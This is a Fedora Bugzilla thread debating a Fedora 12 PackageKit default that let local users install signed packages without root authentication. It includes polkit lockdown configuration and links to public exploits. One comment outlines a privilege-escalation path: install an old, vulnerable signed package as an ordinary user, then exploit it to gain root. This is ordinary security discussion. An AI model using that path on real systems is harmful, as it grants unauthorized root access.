The dialog that is meant to help locate and install missing packages seems to have a wrapping problem that prevents it displaying properly. Keyboard input seems to be a bit messed up too, sometimes the text is printed but the command is not receiving the input (or provides no feedback that it is)
Can you please try the build here: http://koji.fedoraproject.org/koji/buildinfo?buildID=141430 -- thanks.
Seems to work: but why am I not getting a root password prompt?
(In reply to comment #2) > why am I not getting a root password prompt? PackageKit allows you to install signed content from signed repositories without a password by default. It only asks you to authenticate if anything is unsigned or the signatures are wrong.
Richard Hughes, It would be have useful if you had added a note to the release notes on this along with the rationale. Can you provide the precise steps to revert this? I think we will a release notes update covering the details. Thanks.
Please could this be reversed, the default being that the root user gets to install software, and the users as well, if the root user wishes them to. This is really a *major* change that is precise opposite of the way *NIX has always worked.
Please set it back to the way it was in F-11. This default is insecure and it is also hard to find out how to change it on a default install. This is not a good policy, doesn't help anyone and is a step in the wrong direction.
Please revert this change. Setting FutureFeature Setting Severity High TK009 --- Fedora Bugzappers volunteer triage team https://fedoraproject.org/wiki/BugZappers
(In reply to comment #6) > This default is insecure and it is also hard to find out how to change it on a > default install. It's not insecure. We've had the mechanism checked. The default policy may not be to your taste, but this is the "desktop" spin, not the "server" spin. > This is not a good policy, doesn't help anyone and is a step in the wrong > direction. You missed the "in my opinion" line in your reply.
(In reply to comment #5) > This is really a *major* change that is precise opposite of the way *NIX has > always worked. I don't particularly care how UNIX has always worked. Looking at the use-cases and the things people are trying to do this seemed the best default. Admins can trivially change the default on machines if they wish. Richard.
(In reply to comment #4) > It would be have useful if you had added a note to the release notes on this > along with the rationale. Can you provide the precise steps to revert this? I > think we will a release notes update covering the details. Thanks. I've publicly discussed this over 9 months ago, and it's been like this in Fedora rawhide since the very start of F12. It's not something to revert (as the change of PolicyKit to polkit-1 changed the way PackageKit worked) it's just a case of choosing the default policy. Richard
(In reply to comment #9) > I don't particularly care how UNIX has always worked. We do.
(In reply to comment #9) > (In reply to comment #5) > > This is really a *major* change that is precise opposite of the way *NIX has > > always worked. > > I don't particularly care how UNIX has always worked. I do, or I'd be using Windows. > Looking at the use-cases and the things people are trying to do this seemed the best default. F-11 worked quite well. > Admins can trivially change the default on machines if they wish. Ok, please explain how to *trivially* change it then. Where is the GUI that allows you to do that ?
A user should not be able to make system-wide changes without authenticating as a root user. If an admin wishes non-root users to be able to install software, he can enable this. The default, like the selinux default, is to be secure by default. Allowing a normal user to install software on a box from some applications (packagekit) and not others (yum and rpm and whatever replaces pirut) is inconsistent. If this change is wanted we can add it to Fedora 13 after the proper discussion.
(In reply to comment #13) > A user should not be able to make system-wide changes without authenticating as > a root user. Of course he should. It's been this way for years for console users e.g. mounting storage devices. > If an admin wishes non-root users to be able to install software, he can enable > this. The default, like the selinux default, is to be secure by default. > > Allowing a normal user to install software on a box from some applications > (packagekit) and not others (yum and rpm and whatever replaces pirut) is > inconsistent. > > If this change is wanted we can add it to Fedora 13 after the proper > discussion. There's nothing to discuss here. Your problem is that pretending asking for root authentication for *local* users in *active* sessions... when installing *trusted* software adds security is... well.. only a sign of dogma, snakeoil and ignorance when it comes to providing a secure system. If you want, there's a way to lock this down, see 'man pklocalauthority'. I will not commment further on this bug. Have a nice day. David
(In reply to comment #14) > There's nothing to discuss here. Your problem is that pretending asking for > root authentication for *local* users in *active* sessions... when installing > *trusted* software adds security is... well.. only a sign of dogma, snakeoil > and ignorance when it comes to providing a secure system. My views exactly. Closing. You can use a simple pkla file if you want to change the default. Thanks.
Reopening. You can close this bug when you provide the documentation to your users on how to undo this.
This requires a release notes update and since I didn't get the answers here, this is what has been figured out so far. Users can get the same behaviour in the past releases by running pklalockdown --lockdown org.freedesktop.packagekit.package-install OR Go to /var/lib/polkit-1/localauthority/20-org.d and create a file (name it anything you want) and the content should be [NoUsersInstallAnythingWithoutPassword] Identity=unix-user:someone;unix-user:someone_else Action=org.freedesktop.packagekit.* ResultAny=auth_admin ResultInactive=auth_admin ResultActive=auth_admin --- Thanks to Seth Vidal. Richard Hughes, please confirm that this is correct. Others subscribed, test both ways and let me know if these steps work. Thanks.
If you want to control only the install action in the file, set Action=org.freedesktop.packagekit.package-install
More info at http://fpaste.org/jU8O/
Err, that should be http://fpaste.org/hiIg/
Horrible default. The previous method of asking the first time made sense. This is idiotic.
nate: your rationale appears to be missing. -- Fedora Bugzappers volunteer triage team https://fedoraproject.org/wiki/BugZappers
Release note added. If any revisions are required, please set the "requires_release_notes" flag to "?" and edit the "Release Notes" field accordingly. All revisions will be proofread by the Engineering Content Services team. New Contents: Users can get the same behaviour in the past releases by running pklalockdown --lockdown org.freedesktop.packagekit.package-install OR Go to /var/lib/polkit-1/localauthority/20-org.d and create a file (name it anything you want) and the content should be [NoUsersInstallAnythingWithoutPassword] Identity=unix-user:someone;unix-user:someone_else Action=org.freedesktop.packagekit.* ResultAny=auth_admin ResultInactive=auth_admin ResultActive=auth_admin
(In reply to comment #22) > nate: your rationale appears to be missing. Wrong way round: the person that changed it needs to provide the reasoning, not the person that objects to the change.
This is the first I'm hearing of it. Just because it has been signed by Fedora doesn't mean that it is trusted software to the admin just that the software has made it through a few arbitrary and not-so-arbitrary requirements to get into Fedora. This is a major change in the security posture of Fedora.
For whoever is making changes to the release notes, add a reference to http://skvidal.wordpress.com/2009/11/18/polkit-and-package-kit-and-changing-settings/ Thanks.
Note that the pklalockdown command is gone in the next polkit 0.95-1 final release (replaced by a D-Bus method). So you want to do the /var/lib/polkit-1 route. (Before you complain too much about this note that palockdown command never appeared in any stable release - we've just been shipping polkit git snapshots.) David
could you tell us what the dbus method will be and how we call it if someone wants to set it as such from the command line? thanks
(In reply to comment #14) > (In reply to comment #13) > > A user should not be able to make system-wide changes without authenticating as > > a root user. > > Of course he should. It's been this way for years for console users e.g. > mounting storage devices. > And that had still been secure enough than letting local users install Trojan horses or what not. Or than to allow every local user to install their own favorite version/variant of stripping virtual girl. no ? > > There's nothing to discuss here. Your problem is that pretending asking for > root authentication for *local* users in *active* sessions... when installing > *trusted* software adds security is... well.. only a sign of dogma, snakeoil > and ignorance when it comes to providing a secure system. > Lets discuss those too and put the plugs everyplace or all to-gather stop faking better security and opt win95 model. And make Fedora a single user spin too, sounds fun ? > If you want, there's a way to lock this down, see 'man pklocalauthority'. I > will not commment further on this bug. Have a nice day. > All together I think there are many novice users out in the world who are likely to fall victim of this supposed convenience and spoils secure reputation of Linux based OS just because of poor defaults, which can't even shift the blame back on user. Rather we need to find smart innovative ways to educate users on the fly & quickly about the defaults which only seems hard to deal with but are meaningful and on purpose.
(In reply to comment #28) > could you tell us what the dbus method will be and how we call it if someone > wants to set it as such from the command line? Using dbus-send probably isn't a good idea (but if you insist check the docs for the D-Bus interface). Instead, just tell people to create a .pkla file - see the pklocalauthority man page for how that works including examples and so forth. From the command line it would look like # cat > /var/lib/polkit-1/.../myfile.pkla << EOF <filecontents> EOF David
This is a catastrophically bad policy change. Why? Because there are some packages, even in the stock Fedora repository, that changes the way the system behaves -- consider network daemons, for example. The unprivileged user can thus change the way the system behaves, quite possibly breaking it in the process, *and they don't have a way to repair the damage*.
Huh? All the Fedora-signed network daemon packages I've seen are off by default...the files just sit there, doing nothing, until an admin uses service and chkconfig to turn them on. Simo, if you really care so much about keeping the status quo for *nix, why are you asking for a gui. I think that this makes sense as a default for a desktop OS, and I think it also makes sense that there is an easy way for the admin to disable it. Quit moaning about it and disable it if you don't like it - isn't that the true *nix spirit?
(In reply to comment #14) > Of course he should. It's been this way for years for console users e.g. > mounting storage devices. > This isn't even in the same zip code. Mounting a USB drive or a CD drive isn't any different than creating subdirectories in /tmp or in $HOME - that doesn't affect squat. That is a far cry from installing packages may affect the security and/or behavior of the system.
(In reply to comment #24) > (In reply to comment #22) > > nate: your rationale appears to be missing. > > Wrong way round: the person that changed it needs to provide the reasoning, not > the person that objects to the change. I agree. However, I'm happy to provide some thoughts ... First of all, this is both a SECURITY and STABILITY concern. Tack on legal concerns, too. 1) User can install whatever they want, including packages which are unstable and could even destroy the system. As just one example, I tried out yum-plugin-remove-with-leaves a while back and took it for a spin to see if it worked and was safe ... well, let's just say it "worked" too well -- it definitely was not safe. yum-plugin-remove-with-leaves literally uninstalled my entire system after a simple test in which I installed a package and its dependencies, then removed that same package and let yum-plugin-remove-with-leaves do its thing. Even though root is the only one who can remove packages, root won't necessarily know the package was installed, and thus could wipe out the system without realizing what he or she was doing when they did it. 2) If every user can install software, are we absolutely sure that they could not re-install something that's already on the system, which can sometimes overwrite config files that the administrator has already set up, thus potentially lowering security standards and causing any number of other problems? 3) If defaults don't matter, why don't we just take it a step further and give root access to everything? 4) Comparison to "mounting storage devices" is flawed -- the typical user does not need to install software regularly, never has to do so repeatedly/on a regular basis such as inserting a USB, and inserting removable storage does not affect the system as a whole, only potentially the current user's home directory, I believe. 5) "Trusted" by Fedora? What is that, a joke? The administrator needs to make their own decisions about what software is secure, stable, and appropriate for their system. For example, if the user can install/reinstall things like mail servers, they can compromise the network by conducting illegal activities which can get IP's blacklisted. File servers, ftp, http, etc., can all open up the system to illegal activities, distribution of pirated software, illegal pornography, malware distribution networks, etc., etc. Other legal issues include peer-to-peer softwares which would allow users to easily download illegal content to equipment they don't necessarily even own. Allowing the user to install virtualization software could facilitate installing illegal copies of Windows, etc., etc. Even for home use, this is all mostly relevant. Most homes have either children or incompetent users to worry about. This list is far from complete!
Does this also allow users to arbirtraily remove packages? e.g. newbie user unticks gdm, gdm package is removed, system hosed.
(In reply to comment #36) > Does this also allow users to arbirtraily remove packages? No, removing packages always needs the root password.
I can totally see allowing signed updates automatically, but allowing any signed package install seems wrong. The fedora universe of packages is big and not all packages in it are equal. Anyone can get a package into fedora after going through the review process. How long before someone does a "give-me-root" package that gives all users on the installed system NOPASSWD sudo access. Then a user will go to a system they don't have root access to and type: $ give-me-root and PackageKit will notice that the give-me-root command isn't installed and helpfully install it for the user. From that point on they have root access. I don't disagree that admin users should be allowed to install without entering a password, but they should be admin users. Not normal users. I realize we suck right now and don't give the first user admin access by default, and don't have a ui for setting who is an admin user yet, but that doesn't me we should have a policy that let's any user become an admin user whenever they want.
(In reply to comment #35) > 2) If every user can install software, are we absolutely sure that they could > not re-install something that's already on the system, which can sometimes > overwrite config files that the administrator has already set up, thus > potentially lowering security standards and causing any number of other > problems? You can't re-install without the root password. > inserting removable storage does not > affect the system as a whole, only potentially the current user's home > directory, I believe. Incorrect. > 5) "Trusted" by Fedora? What is that, a joke? The administrator needs to make > their own decisions about what software is secure, stable, and appropriate for > their system. Sure, and the admin can easily change the defaults. > can get IP's blacklisted. File servers, ftp, http, etc., can all open up the > system to illegal activities, distribution of pirated software, illegal > pornography, malware distribution networks, etc., etc. Other legal issues > include peer-to-peer softwares which would allow users to easily download > illegal content to equipment they don't necessarily even own. Allowing the user > to install virtualization software could facilitate installing illegal copies > of Windows, etc., etc. Services require the admin passord to enable them at startup. > Even for home use, this is all mostly relevant. Most homes have either children > or incompetent users to worry about. Right, but with this logic what's stopping the users compiling a binary somewhere else, copying it onto a pendrive and then inserting it, then running it?
(In reply to comment #38) > and PackageKit will notice that the give-me-root command isn't installed and > helpfully install it for the user. Sure, I understand what you're saying. It's a much easier exploit to create a malicious gdm3 package that obsoletes gdm2 and ship it as an update, that gets installed automatically. You either trust the fedora repos or you don't. As soon as there is a malicious package in the repos it's quite easy to break things.
(In reply to comment #40) > > You either trust the fedora repos or you don't. As soon as there is a malicious > package in the repos it's quite easy to break things. Not quite so black and white. I can trust Fedora repositories to a certain extend and this default works just fine a personal desktop where I have set the permissions permanently for PackageKit to install, update or remove signed packages without a password prompt. I don't think it works well for a multi-user system however. When we can set during installation and otherwise, user profiles via command line and graphical utilities, we can then start tweaking policies nicely to match the profiles we target. We are not there yet. This optimization seems premature at this point and doesn't match different user needs.
Andrew, I cannot speak for Simo obviously, but I think he was aiming at the fact that restoring the old behaviour was called 'trivial' before, which for most users would not include creating PolicyKit files. Anyway, the current policy seems based on the assumption that there will be no Fedora signed program in a Fedora repository *ever* that is capable of making a system less secure in whatever way. I'm not sure such an assumption will prove valid. I do understand the idea behind this though: most users who use a Fedora desktop spin do that for their own, personal desktop, and in that case, I suppose this change doesn't do an extreme amount of damage. However, isn't the fact that this bug has a pretty high volume in comments from people directly involved with Fedora, on both sides of the argument, proof that this change wasn't discussed enough prior to release? Also, I think it is safe to say that a lot of people that use Rawhide probably use plain yum from a terminal emulator and likely never have noticed this policy change. I have used Rawhide since somewhere in September and this is the first time I heard of this. So, because I do not feel comfortable with this seemingly sudden change, I'd rather have the F11 way being the default again, at least until F13 and there has been time to discuss this in a broader context. Implementing PolicyKit has been a pretty big change by itself, for both users and admins. Let's slow down a bit, no too fast.
(In reply to comment #39) > (In reply to comment #35) > > 2) If every user can install software, are we absolutely sure that they could > > not re-install something that's already on the system, which can sometimes > > overwrite config files that the administrator has already set up, thus > > potentially lowering security standards and causing any number of other > > problems? > > You can't re-install without the root password. > > > inserting removable storage does not > > affect the system as a whole, only potentially the current user's home > > directory, I believe. > > Incorrect. > > > 5) "Trusted" by Fedora? What is that, a joke? The administrator needs to make > > their own decisions about what software is secure, stable, and appropriate for > > their system. > > Sure, and the admin can easily change the defaults. > > > can get IP's blacklisted. File servers, ftp, http, etc., can all open up the > > system to illegal activities, distribution of pirated software, illegal > > pornography, malware distribution networks, etc., etc. Other legal issues > > include peer-to-peer softwares which would allow users to easily download > > illegal content to equipment they don't necessarily even own. Allowing the user > > to install virtualization software could facilitate installing illegal copies > > of Windows, etc., etc. > > Services require the admin passord to enable them at startup. > > > Even for home use, this is all mostly relevant. Most homes have either children > > or incompetent users to worry about. > > Right, but with this logic what's stopping the users compiling a binary > somewhere else, copying it onto a pendrive and then inserting it, then running > it? Instead of offering a rebuttal, I'll just be content with your implied agreement with the points you did not bother countering. Thanks for seeing the light!
(In reply to comment #40) > (In reply to comment #38) > You either trust the fedora repos or you don't. As soon as there is a malicious > package in the repos it's quite easy to break things. I tend to trust the Fedora repos, and I will update to them without giving the process much of a review. However, I do _not_ want all users of my little netbook to be able to install _any_ package without me knowing about it. I have setup a guest account on my F11 netbook for others to use. I know that I can disable this "feature" but, why should I have to? Pat ---
(In reply to comment #37) > (In reply to comment #36) > > Does this also allow users to arbirtraily remove packages? > > No, removing packages always needs the root password. Installing GDM, to continue this example, overrides all other greeters. Installing several GNOME packages pull in GDM as an indirect requirements. On a KDE systems, installing a package can drag in a lot of automatically active, unwanted Gnome packages.
(In reply to comment #42) > Andrew, I cannot speak for Simo obviously, but I think he was aiming at the > fact that restoring the old behaviour was called 'trivial' before, which for > most users would not include creating PolicyKit files. > > Anyway, the current policy seems based on the assumption that there will be no > Fedora signed program in a Fedora repository *ever* that is capable of making a > system less secure in whatever way. I'm not sure such an assumption will prove > valid. > > I do understand the idea behind this though: most users who use a Fedora > desktop spin do that for their own, personal desktop, and in that case, I > suppose this change doesn't do an extreme amount of damage. However, isn't the > fact that this bug has a pretty high volume in comments from people directly > involved with Fedora, on both sides of the argument, proof that this change > wasn't discussed enough prior to release? > > Also, I think it is safe to say that a lot of people that use Rawhide probably > use plain yum from a terminal emulator and likely never have noticed this > policy change. I have used Rawhide since somewhere in September and this is the > first time I heard of this. So, because I do not feel comfortable with this > seemingly sudden change, I'd rather have the F11 way being the default again, > at least until F13 and there has been time to discuss this in a broader > context. > > Implementing PolicyKit has been a pretty big change by itself, for both users > and admins. Let's slow down a bit, no too fast. Maxim, this is exactly my point, I do not context the fact that PackageKit can run without asking for a password, it's a cool feature. As a matter of fact I have systems where I gave users that ability on F-11 where you were able to enable it with a simple checkbox mark the first time you run the tool. What I contest is that to *undo* it you need to be an experienced system admin that knows how to write policykit local policies and where to drop them. I think we can count the number of people able to do that on the tips of my fingers. This can't be purported as *trivial*, therefore, as someone else said, this change is at least premature. I am all fine making this a default the day it will be dead simple to change it.
This option could be great for laptop users, netbooks users and is ok to be enabled by default. For server or machines with multiple users this should be disabled by default. The option must be presented in anaconda or in the firstrun welcome window or in a desktop spin enabled by default and in a server spin disabled by default.
I am worried about users being able install services which we do not want running on the network. Many of them are automatically enabled on install. Things like telnet and ftp are easily abused. Sendmail, dhcpd and nis would be worse but I don't think those default to enabled.
Wouldn't this change lead to a potential DOS. I tend to run with a smallish root partition and only a separate home partition. A user, perhaps even unknowingly, could easily install packages until the root partition was full, using up the space that I had set aside for /tmp and /var.
"you are now vulnerable to local root exploits not only in packages you installed, but also in packages you chose not to install."
If someone wants their users to be admins and have the rights to add packages, it's easy to add them to the desktop_admin_r group. If someone doesn't want their users to be admins, they have to create a pkla file. It seems obvious to me that the secure option should be the default. Now that this is posted on Slashdot, it's causing a lot of bad publicity for Fedora. In my opinion, the sooner this gets fixed, the better.
I don't think leaving this as-is would be acceptable. How loud does the community have to get requesting this fixed?
(In reply to comment #55) > If someone wants their users to be admins and have the rights to add packages, > it's easy to add them to the desktop_admin_r group. If someone doesn't want > their users to be admins, they have to create a pkla file. It seems obvious to > me that the secure option should be the default. > > Now that this is posted on Slashdot, it's causing a lot of bad publicity for > Fedora. In my opinion, the sooner this gets fixed, the better. Personally, I think the bad publicity about this bug comes from the uninformed responses by RedHat employees who can't conceive why this option is a security nightmare. It makes me certainly question how devoted to security RedHat is.
Where are comments #33, #48, #49, #51, #54, #56 and #57?
(In reply to comment #58) > (In reply to comment #55) > > If someone wants their users to be admins and have the rights to add packages, > > it's easy to add them to the desktop_admin_r group. If someone doesn't want > > their users to be admins, they have to create a pkla file. It seems obvious to > > me that the secure option should be the default. > > > > Now that this is posted on Slashdot, it's causing a lot of bad publicity for > > Fedora. In my opinion, the sooner this gets fixed, the better. > > Personally, I think the bad publicity about this bug comes from the uninformed > responses by RedHat employees who can't conceive why this option is a security > nightmare. It makes me certainly question how devoted to security RedHat is. Sorry, that's a bit stronger than I meant. More specifically, reading through the mailing thread, and some of the comments in this bug by redhat employees to the concerns that people raise of valid points, looks bad publicity wise.
Jayson, those are not the droids ^W comments you're looking for.
I really think the default should be restored. On my system I have some self compiled packages and binary packages. I place them in ~/bin/. This is the last element of my and everyones $PATH (see /etc/skel/.bash_profile). I trust that _my_ programs are executed and do what I expect them to do. With this change somebody could install software from the repository that silently is executed instead of my personal copy. I certainly do not like that. I see this as a big difference to comment #39 by Richard: > Right, but with this logic what's stopping the users compiling a binary > somewhere else, copying it onto a pendrive and then inserting it, then > running it? These users are _not_ able to insert software into _my_ $PATH. btw: this issue has reached LWN http://lwn.net/Articles/362592/
(In reply to comment #55) > If someone wants their users to be admins and have the rights to add packages, > it's easy to add them to the desktop_admin_r group. If someone doesn't want > their users to be admins, they have to create a pkla file. It seems obvious to > me that the secure option should be the default. > > Now that this is posted on Slashdot, it's causing a lot of bad publicity for > Fedora. In my opinion, the sooner this gets fixed, the better. Wow, that conversation already has 233 comments: http://linux.slashdot.org/story/09/11/18/2039229/Fedora-12-Lets-Users-Install-Signed-Packages-Sans-Root-Privileges
What about the issue of unprivileged users using this feature to obtain root through the following method: 1) Dig around through old Fedora 9, 10, 11, and original 12 repos to find a signed package that has a vulnerability allowing for local privilege escalation (there must be one out there...) 2) Download the package to the local drive 3) Use gpk-install-local-file to install this package 4) Take advantage of vulnerability in the package to become root Dependency issues may arise, but this looks like an attractive attack vector.
(In reply to comment #40) > (In reply to comment #38) > > and PackageKit will notice that the give-me-root command isn't installed and > > helpfully install it for the user. > > Sure, I understand what you're saying. It's a much easier exploit to create a > malicious gdm3 package that obsoletes gdm2 and ship it as an update, that gets > installed automatically. > > You either trust the fedora repos or you don't. As soon as there is a malicious > package in the repos it's quite easy to break things. Well it's not so much a matter of trust as a matter of mismatched policies. Right now the fedora repository is a universe of packages that don't necessarily work together. Each spin picks the subset of packages that makes sense for that spin and installs those to work together. Policy is to some extent encoded in packages. Just a few examples: - Whether a spin is branded or not depends on if the spin pulls in fedora-logos or generic-logos - Different selinux policies are available for different spins - What sessions are shown to the user are in config rpms Maybe we shouldn't have a packageset where packages define policy, but that's how it works right now. You could even imagine a spin where this give-me-root package makes sense. Maybe not exactly as I described it in comment 38, but in some way that's effectively the same. It's a theoretical package that is fundamentally incompatible with the default spin, but now something any local user in the default spin has the ability to turn on. I doesn't *really* matter in practice. Any determined local user can get root pretty easily, just by rebooting into single user mode (except in special locked down kiosk situations that shouldn't be using the default policy), but I think also it's not the right default policy.
This could be good "option" but not the default policy; let users to change files they are not allowed to changed trashes all the: permissions-groups philosophy. And yes I can put a usb and install software but only in my sandbox not in /usr, /var, /lib, etc. This is that hard for the people defending this, and stop trying to make this system look like the "worst-one".
IMHO this really needs to be changed to the policy which was used up to F11 (require root auth once, allow the user to keep it) which had been working fine (a one-time password prompt isn't a major inconvenience for single-user systems and everywhere else things are secure), why has this even been changed at all? This has been put on FESCo's agenda for this week's meeting: https://fedorahosted.org/fesco/ticket/277 and my vote is definitely going to go towards issueing a security update to lock this down.
Release note updated. If any revisions are required, please set the "requires_release_notes" flag to "?" and edit the "Release Notes" field accordingly. All revisions will be proofread by the Engineering Content Services team. Diffed Contents: @@ -1,16 +1 @@ -Users can get the same behaviour in +Users can get the same behaviour in the past releases by running pklalockdown --lockdown org.freedesktop.packagekit.package-install OR Go to /var/lib/polkit-1/localauthority/20-org.d and create a file (name it anything you want) and the content should be [NoUsersInstallAnythingWithoutPassword] Identity=unix-user:someone;unix-user:someone_else Action=org.freedesktop.packagekit.* ResultAny=auth_admin ResultInactive=auth_admin ResultActive=auth_admin-the past releases by running - - pklalockdown --lockdown org.freedesktop.packagekit.package-install - - OR - - Go to /var/lib/polkit-1/localauthority/20-org.d and create a file (name it - anything you want) and the content should be - - [NoUsersInstallAnythingWithoutPassword] - Identity=unix-user:someone;unix-user:someone_else - Action=org.freedesktop.packagekit.* - ResultAny=auth_admin - ResultInactive=auth_admin - ResultActive=auth_admin
Huh? I didn't write comment #69! (I did write comment #68.) Looks like a Bugzilla bug.
Release note updated. If any revisions are required, please set the "requires_release_notes" flag to "?" and edit the "Release Notes" field accordingly. All revisions will be proofread by the Engineering Content Services team. Diffed Contents: @@ -1 +1,16 @@ -Users can get the same behaviour in the past releases by running pklalockdown --lockdown org.freedesktop.packagekit.package-install OR Go to /var/lib/polkit-1/localauthority/20-org.d and create a file (name it anything you want) and the content should be [NoUsersInstallAnythingWithoutPassword] Identity=unix-user:someone;unix-user:someone_else Action=org.freedesktop.packagekit.* ResultAny=auth_admin ResultInactive=auth_admin ResultActive=auth_admin+Users can get the same behaviour in +the past releases by running + + pklalockdown --lockdown org.freedesktop.packagekit.package-install + + OR + + Go to /var/lib/polkit-1/localauthority/20-org.d and create a file (name it + anything you want) and the content should be + + [NoUsersInstallAnythingWithoutPassword] + Identity=unix-user:someone;unix-user:someone_else + Action=org.freedesktop.packagekit.* + ResultAny=auth_admin + ResultInactive=auth_admin + ResultActive=auth_admin
Jeez guys, even *Apple* with OS X requires a password to install software. Fedora is now the new Windows.
Since I use RHEL on some servers and Fedora on others, this change will force me to change defaults to make the Fedora servers' behavior as expected. I definitely don't want to have to do this. PLEASE consider setting this back to the "old" default, or as someone else suggested ask the user on install. That would seem to satisfy everyone with the least work to make the change happen.
We can't add anything to the installer anymore, all we can do is issue a security update which fixes the default policy.
Kevin(In reply to comment #74) > We can't add anything to the installer anymore, all we can do is issue a > security update which fixes the default policy. Works for me. I can't expect magic to roll back time to change the already-installed software.
An admonition has been added to the English language release notes at docs.fp.o. We fully expect to have to change it in the morning, and will wait for the dust to settle before pushing it to updates-f12. We will also wait a couple of days before facing L10N.
This is outrageous. In more than a decade of using and administering Linux systems, this is by far the worst decision I have ever encountered. Allowing unprivileged users to install software without root authorisation, is severely broken behaviour, and an affront to the UNIX security model. The default policy needs to be reverted as a matter of urgency, and a security advisory should be issued for those already affected. Unbelievable.
to other red hat folks: i'm uncomfortable with the abuse of the private comment feature (not just here, but it's particularly bad in this bug) as a way to introduce a parallel discussion that's effectively limited to an informal RH cabal. this is the Fedora project, there is no room for that. comments should only be made private when they introduce or discuss not-currently-public security concerns, which is not the case for any of the private comments on this bug. they should be used for impromptu 'sekrit club' discussions. Issues like this in the Fedora project should be discussed in public. aside from that: I think we need to test whether the disk-space-exhaustion DoS possibility is actually there or not (it depends whether PK's code allows it to exhaust the space reserved for root in any given filesystem), that would be useful information. FWIW, my personal opinion is the new default is not a good idea and we should revert it with an update. I think it's incontrovertibly the case that the new default was introduced poorly, without sufficient documentation either of the fact of the change or how to adjust the policy. for the press: please note that this issue has already been proposed for discussion by the Fedora Engineering steering committee at its next meeting, and they certainly have the authority to require changes be made to this policy in an update. Also note the addition of documentation in the release notes about how to adjust this policy. And to make it very clear, this applies only to users with a _local console session_ (basically, people actually sitting in front of the machine), for installing packages signed with a trusted key. It does not apply to un-signed packages, or remote logins. It is only for _installing_ packages, not for removing them (removing packages always requires root privileges). -- Fedora Bugzappers volunteer triage team https://fedoraproject.org/wiki/BugZappers
This has nothing to do with USB drives. Everyday programs that local console users use are frequently remotely exploitable. Remote exploits are in no way limited to processes running as a remote (non console) UID. Let's consider Evolution, Thunderbird, Firefox, Konqueror, etc. All process data, in the form of email, web pages, images, audio, etc, that originates from untrusted and frequently malicious sources. Spending literally 20 seconds on google, using the terms "linux remote exploit" reveals at least recent 3 doozies that would all result in the ability for an attacker to execute code as the console user. LibPNG remote exploit http://www.milw0rm.com/exploits/389 Jpeg remote from 2004 http://www.hackinthebox.org/modules.php?op=modload&name=News&file=article&sid=14216 Firefox remote exploits (HTML even!) http://www.computerworld.com/s/article/104504/Firefox_flaw_found_Remote_exploit_possible Usage of sudo, OSX's system, and other programs like it enhance security by requiring re-authentication of potentially dangerous operation. "Either you trust the repository or not" is such a strawman that it's ridiculous. If I were an attacker, I could install, then exploit any program I wanted without having to re-authenticate, console or not. PolicyKit is brand new. None of us have any idea how it works. Could you please provide an explanation of how it prevents the above scenarios? At least leave it disabled by default, let users enable it with a checkbox until PolicyKit is better understood. This is a huge amount of public outcry and it should tell you something's wrong with this decision. -s
Another interesting topic for the future is how easy was to change the release notes after the release date, *of course documentation can always be improved no doubt about it* but this security change should be stressed somewhere.
Juan, Considering that release notes is the well known place for new changes, that is where it is getting documented.
er, obviously 'they should be used for impromptu 'sekrit club' discussions' was intended to read 'they should NOT be used for impromptu 'sekrit club' discussions' :) -- Fedora Bugzappers volunteer triage team https://fedoraproject.org/wiki/BugZappers
(In reply to comment #38) > I don't disagree that admin users should be allowed to install without entering > a password, but they should be admin users. Not normal users. I think so. > I realize we > suck right now and don't give the first user admin access by default, and don't > have a ui for setting who is an admin user yet, but that doesn't me we should > have a policy that let's any user become an admin user whenever they want. I don't think there's need for "a ui for setting who is an admin user". This user account is called root. This UI is called system-config-users. And any human user that uses a separate account and is competent enough to qualify as "an admin" should, by definition, already know how to add herself to wheel and configure the sudoers file (either as the human that already controls the root account, or with the help and supervision of the responsible "root" admin). And also I don't think "[giving] the first user admin access by default" is anything better. This is typical Windowsthink. The software should obey the will of the Real Admin (the person, not the account) and create new accounts (with or without certain privileges) on demand. NOT granting whichever (non-root) account that happened to be created first the admin privileges. The installer already does an adequate job creating the root user as the first user which is *the* admin user. That's enough. Your post appeared to me that you've acknowledged the problem we're having now, but your concluding paragraph was even more disturbing! We now have a problem that can be roughly stated "Fedora's new default policy is probably making the OS less secure, less stable, and less admin-friendly." You acknowledged this problem, but your answer was in the general direction of "So let's make it even less secure and less admin-friendly." Of course I may be wrong or oversensitive or both. I don't know better than anyone else and the above was just my opinion with a lot of personal bias. Anyway, please remember that we users took the time and trouble posting here with the intent of helping the community working towards a better distro. Please don't let us down. Thank you.
I think the biggest issue we have is that such a change was able to be snuck in without any discussion and not get noticed until after the release.
Maybe we could just post a warning to this prior to action? Since we're talking gui here, why not have a window that pops up saying something like: The application pkgkit is requesting access to your system. Press ctrl+alt+delete to confirm Then have a cancel or allow dialog to make sure the user wants to procede. I think this might solve all aspects of this issue.
kevin: someone wondered why QA never noticed this, so to answer that question: a), auditing security policy issues isn't really on our list of Things To Do, so we weren't particularly looking out for this. b), it's not apparent until packages are signed, which is rather late in the release cycle; through most of F12's life in Rawhide, this issue would've been hidden. and c), frankly, I think most of us use yum all the time. I haven't fired up PackageKit in months. We should probably make an effort to change that. I suspect the yum thing is one reason why most people never noticed this during the development cycle; probably just about everyone active in development / rawhide testing doesn't really use PackageKit. -- Fedora Bugzappers volunteer triage team https://fedoraproject.org/wiki/BugZappers
Re b), if we had been autosigning Rawhide packages instead of being paranoid about the "security risks" of automatic signing, this gaping security hole would have noticed. Sometimes trying to be "secure" is counterproductive. As for comment #86 (Jim Perrin), you're missing the point entirely. This is not about malware impersonating the user (though that is also a potential risk as not even user auth is being asked for), but about the user not being supposed to be allowed to install packages in the first place!
(In reply to comment #86) > > Maybe we could just post a warning to this prior to action? > > Since we're talking gui here, why not have a window that pops up saying > something like: > > The application pkgkit is requesting access to your system. Press > ctrl+alt+delete to confirm > > Then have a cancel or allow dialog to make sure the user wants to procede. > > > I think this might solve all aspects of this issue. I don't know whether you're being serious or sarcastic ;) What I deeply fear is that some devs take it seriously and, like, "whoa, that's what I was thinking of, too!"
(In reply to comment #90) > I don't know whether you're being serious or sarcastic ;) What I deeply fear is > that some devs take it seriously and, like, "whoa, that's what I was thinking > of, too!" Well, it was an attempt injecting some levity (and a little minor trolling) into this insanity, but given comment #89, you might be right....
